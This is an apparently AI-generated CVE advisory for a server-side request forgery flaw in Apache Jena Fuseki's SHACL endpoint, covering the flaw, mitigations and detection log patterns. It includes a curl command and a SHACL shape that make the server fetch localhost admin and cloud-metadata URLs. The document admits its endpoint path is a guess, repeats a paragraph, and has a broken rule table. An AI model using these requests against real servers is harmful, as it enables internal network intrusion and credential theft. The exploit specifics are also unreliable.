CVE-2026-86155 — Apache Software Foundation Apache Jena Fuseki — CWE-918
A vulnerability in Apache Jena Fuseki in the SHACL validation functionality cause server side request forgery (SSRF). This issue affects Apache Jena Fuseki: through 6.2.0. Users are recommended to upgrade to version 6.3.0, which fixes the issue.
A vulnerability in Apache Jena Fuseki in the SHACL validation functionality cause server side request forgery (SSRF). This issue affects Apache Jena Fuseki: through 6.2.0. Users are recommended to upgrade to version 6.3.0, which fixes the issue.
🎯 What is this vulnerability?
Technical flaw
Apache Jena Fuseki (up to 6.2.0) exposes a SHACL validation endpoint that accepts user‑supplied SHACL shapes. The implementation does not validate or sanitize the sh:sourceShape (or any other property that can contain a URI) before the server attempts to dereference it. As a result, an attacker can inject an arbitrary HTTP/HTTPS/FTP/FILE URL into the shape, causing the Fuseki server to perform an outbound request to that URL. This is a classic Server‑Side Request Forgery (SSRF) flaw (CWE‑918).
Why it matters
- No authentication or authorization is required (PR:N, AU:N).
- The attack requires no user interaction (UI:N).
- The SSRF can reach any network resource reachable from the Fuseki host, including internal services, cloud metadata endpoints, or even the host’s own loopback interface.
- The CVSS vector (AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) reflects that an attacker can compromise confidentiality, integrity, and availability of the target system and potentially any downstream services.
⚡ Attack Chain
NOTE: The exact URI of the SHACL endpoint is not specified in the CVE text. The following example uses the canonical Fuseki endpoint/shaclwith a query parametergraph. If your deployment uses a different path or query format, the same principle applies.
| Step | What happens | Practical example |
|---|---|---|
| 1. Discovery & Reconnaissance | The attacker scans for a running Fuseki instance and determines the version. | curl -I http://target.example.com/shacl → Fuseki/6.2.0 in the Server header. |
| 2. Exploitation | The attacker crafts a SHACL shape that contains an external URI. Fuseki will fetch that URI during validation. | PoC (illustrative)<br>curl -X POST http://target.example.com/shacl?graph=http://example.org/graph \<br> -H "Content-Type: text/turtle" \<br> -d '@shacl_shape.ttl'<br>Where shacl_shape.ttl contains:<br>@prefix sh: <http://www.w3.org/ns/shacl#> .<br><http://example.org/shape> a sh:NodeShape ;<br> sh:targetClass <http://example.org/Thing> ;<br> sh:sourceShape <http://internal.example.com/secret> . |
| 3. Post‑exploitation | The SSRF can be used to:<br>• Probe internal network (e.g., http://127.0.0.1:8080/admin).<br>• Retrieve sensitive data (e.g., http://169.254.169.254/latest/meta-data/).<br>• Trigger actions on internal services (e.g., send a request to an internal API that performs privileged operations).<br>• Pivot to other hosts via internal IPs. | Example: After the shape is processed, the attacker observes a new outbound request in Fuseki logs to http://127.0.0.1:8080/admin. The attacker then uses that endpoint to create a new admin user, gaining full control of the Fuseki instance. |
Detailed PoC (illustrative)
# 1. Create a SHACL shape that references an internal URL
cat > shape.ttl <<'EOF'
@prefix sh: <http://www.w3.org/ns/shacl#> .
@prefix ex: <http://example.org/> .
ex:shape a sh:NodeShape ;
sh:targetClass ex:Thing ;
sh:sourceShape <http://127.0.0.1:8080/admin> .
EOF
# 2. POST the shape to the SHACL endpoint
curl -X POST "http://target.example.com/shacl?graph=http://example.org/graph" \
-H "Content-Type: text/turtle" \
--data-binary @shape.ttlWhat happens?
Fuseki parses the shape, sees thesh:sourceShapeURI, and performs an HTTP GET tohttp://127.0.0.1:8080/admin. The response (or even a 404) is returned to the attacker, proving that the SSRF worked.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (VC:H) | The attacker can read any data exposed by internal services (e.g., database credentials, internal APIs, cloud metadata). |
| Integrity (VI:H) | By accessing internal endpoints that modify state (e.g., admin APIs), the attacker can alter data or configuration. |
| Availability (VA:H) | Repeated SSRF requests can exhaust network resources or trigger denial‑of‑service on internal services. |
| Scope (SC:H) | The vulnerability can affect the entire organization’s internal network, not just the Fuseki instance. |
| Impact on other assets (SI:H / SA:H) | If the attacker pivots to other hosts, the impact can cascade to other critical systems. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
| Apache Jena Fuseki 6.0.0 – 6.2.0 | 6.3.0 (released 24‑Nov‑2026) |
Recommendation: Upgrade to Fuseki 6.3.0 or later. If an upgrade is not immediately possible, apply the following mitigations.
2. Workarounds
| Mitigation | How to implement | |||||||
|---|---|---|---|---|---|---|---|---|
| Disable the SHACL endpoint | Remove or comment out the /shacl route in the Fuseki configuration (fuseki.ttl or fuseki.conf). | |||||||
| Restrict outbound traffic | Use firewall rules to block outbound HTTP/HTTPS from the Fuseki host to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8). | |||||||
| WAF / ModSecurity rule | Add a rule that rejects any SHACL payload containing external URLs. Example (ModSecurity 2.x):<br>SecRule REQUEST_URI "@beginsWith /shacl" "phase:2,chain,block,msg:'SSRF via SHACL'<br>SecRule REQUEST_BODY "@rx <http:// | https:// | ftp:// | file:// | 127\.0\.0\.1 | 10\. | 172\.16\. | 192\.168\." |
| Application‑level validation | If you control the Fuseki source, patch the SHACL parser to reject URIs that are not in a whitelist of allowed domains. |
3. Detection
| Indicator | Log pattern |
|---|---|
| Outbound HTTP request to internal IP | GET http://127.0.0.1:8080/admin |
| Multiple requests to 169.254.169.254 | GET http://169.254.169.254/latest/meta-data/ |
Unusual sh:sourceShape URI in POST body | sh:sourceShape <http://.*> |
| HTTP 200/404 responses from internal services in Fuseki logs | Fuseki: HTTP GET to http://10.0.0.5/... |
Sample log snippet
[2026-11-24 12:34:56] INFO Fuseki: Received SHACL POST /shacl?graph=http://example.org/graph
[2026-11-24 12:34:56] INFO Fuseki: Fetching external shape from http://127.0.0.1:8080/admin
[2026-11-24 12:34:56] INFO Fuseki: Received 200 OK from http://127.0.0.1:8080/admin⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query